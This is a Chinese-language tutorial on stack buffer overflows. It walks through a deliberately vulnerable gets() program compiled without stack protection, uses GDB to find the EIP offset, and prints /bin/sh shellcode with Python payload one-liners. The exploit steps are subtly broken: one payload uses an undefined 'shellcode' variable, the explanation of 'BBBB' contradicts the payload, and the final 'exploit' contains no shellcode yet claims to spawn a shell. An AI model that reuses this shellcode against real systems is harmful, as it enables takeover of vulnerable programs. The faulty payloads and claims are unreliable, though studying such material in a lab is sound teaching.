第一步:设置环境
1.1 安装所需工具
在开始之前,确保你的 Linux 机器上安装了以下工具:
GCC (GNU 编译器集合): 用于编译我们的易受攻击程序。
GDB (GNU 调试器): 用于调试程序和检查内存。
Python: 用于制作 payload。
pwntools (可选): 一个帮助开发漏洞利用的 Python 库(后期有用)。
你可以通过以下命令安装这些工具:
sudo apt update
sudo apt install gcc gdb python3 python3-pip
pip3 install pwntools
第 2 步:编写一个易受攻击的程序
让我们创建一个简单的 C 程序,该程序易受基于栈的缓冲区溢出攻击。我们将使用不安全的gets()函数来读取用户输入而不进行边界检查,从而导致潜在的缓冲区溢出。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vulnerable_function() {char buffer[64]; // Stack buffer with limited sizeprintf("Enter some input:\n");gets(buffer); // Vulnerable function: gets() doesn't check input sizeprintf("You entered: %s\n", buffer);
}
int main() {vulnerable_function();return 0;
}
2.1 编译程序
在编译时,我们将禁用堆栈保护(如金丝雀和堆栈保护)以使利用变得更容易:
gcc -fno-stack-protector -z execstack -o vuln_program vuln_program.c
-fno-stack-protector 标志禁用了堆栈保护器,-z execstack 使堆栈可执行(允许运行 shellcode)。
第 3 步:分析程序并触发漏洞
3.1 运行程序
正常运行程序以了解其行为:
./vuln_program
它会要求你输入内容。由于缓冲区只有 64 字节,输入超过这个长度的内容将会导致溢出。现在,输入:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
你应该会看到程序因段错误而崩溃。溢出可能已经覆盖了部分堆栈。
3.2 使用 GDB 检查堆栈
现在,让我们使用 GDB 检查内存,看看底层发生了什么:
gdb ./vuln_program
在 gets() 函数之前设置一个断点,以便在溢出之前检查内存:
(gdb) break gets
(gdb) run
当程序在断点处暂停时,使用以下命令检查堆栈:
(gdb) info registers
(gdb) x/20x $esp # View the top of the stack
现在,再次输入相同的长字符串(64个A),观察内存的变化。你会注意到你输入的数据开始覆盖堆栈,包括保存的返回地址。
第 4 步:控制 EIP(指令指针)
基于堆栈的缓冲区溢出的目标是覆盖EIP(指令指针),它控制程序接下来要执行的内容。通过提供超过缓冲区容量的输入,你可以覆盖 EIP 并将执行重定向到你的有效载荷(shellcode)。
4.1 找到 EIP 的偏移量
要控制 EIP,你需要知道在到达堆栈上的保存返回地址之前需要输入多少字节。你可以使用模式生成来找到确切的偏移量:
python3 -c 'print("A" * 80)' | ./vuln_program
在 GDB 中检查崩溃发生的位置:
(gdb) info registers # Check the value of EIP
你应该会看到 EIP 被部分输入覆盖。调整A的数量,直到找到覆盖 EIP 的确切偏移量。
第 5 步:编写 Shellcode
一旦你控制了 EIP,下一步就是将执行重定向到你的shellcode,它将生成一个 shell。以下是一些简单的 Linux shellcode,它会生成/bin/sh:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
5.1 创建有效载荷
你可以将这个 shellcode 与利用程序结合使用NOP 滑板,以增加落在 shellcode 上的机会。首先,使用 GDB 找到内存中缓冲区的位置,然后在 Python 中创建有效载荷:
python3 -c 'print("\x90" * 20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A" * (64 - 20 - len(shellcode)) + "BBBB" + "\x00\x80\x04\x08")' | ./vuln_program
NOP 滑板(\x90 * 20)有助于确保 EIP 会落在 shellcode 的某个位置。
缓冲区用A字符填充,直到达到缓冲区的长度。
BBBB用 NOP 滑板的地址覆盖 EIP,从而将执行重定向到 shellcode。
第 6 步:利用程序
使用你的利用载荷运行程序:
python3 -c 'print("A" * 64 + "\xef\xbe\xad\xde")' | ./vuln_program
如果一切设置正确,你应该会看到程序已被成功利用,并生成一个 shell。